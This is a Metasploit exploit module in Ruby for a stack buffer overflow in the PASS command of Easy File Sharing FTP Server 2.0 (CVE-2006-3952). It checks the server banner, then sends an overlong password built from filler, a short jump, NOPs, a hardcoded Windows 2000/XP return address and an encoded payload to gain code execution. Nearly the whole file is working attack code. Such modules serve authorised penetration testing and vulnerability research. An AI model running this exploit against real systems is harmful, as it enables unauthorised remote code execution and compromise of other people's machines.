##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = AverageRanking

  include Msf::Exploit::Remote::Ftp

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Easy File Sharing FTP Server 2.0 PASS Overflow',
      'Description'    => %q{
        This module exploits a stack buffer overflow in the Easy File Sharing 2.0
        service. By sending an overly long password, an attacker can execute
        arbitrary code.
      },
      'Author'         => 'MC',
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'CVE', '2006-3952' ],
          [ 'OSVDB', '27646' ],
          [ 'BID', '19243' ],
        ],
      'Privileged'     => true,
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'thread',
        },
      'Payload'        =>
        {
          'Space'    => 600,
          'BadChars' => "\x00\x7e\x2b\x26\x3d\x25\x3a\x22\x0a\x0d\x20\x2f\x5c\x2e",
          'StackAdjustment' => -3500,
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          [ 'Windows 2000 Pro English ALL',   { 'Ret' => 0x75022ac4 } ],
          [ 'Windows XP Pro SP0/SP1 English', { 'Ret' => 0x71aa32ad } ],
        ],
      'DisclosureDate' => '2006-07-31',
      'DefaultTarget'  => 0))
  end

  def check
    connect
    disconnect

    if (banner =~ /Easy File Sharing FTP Server/)
      return Exploit::CheckCode::Detected
    end
    return Exploit::CheckCode::Safe
  end

  def exploit
    connect

    filler =  rand_text_english(2559) + "\xeb\x12"
    filler << make_nops(2) + [target.ret].pack('V')

    sploit = "\x2c" + filler + payload.encoded

    print_status("Trying target #{target.name}...")

    # needs anonymous to be set.
    send_cmd(['USER', "anonymous"], true)
    send_cmd(['PASS', sploit], false)

    handler
    disconnect
  end
end
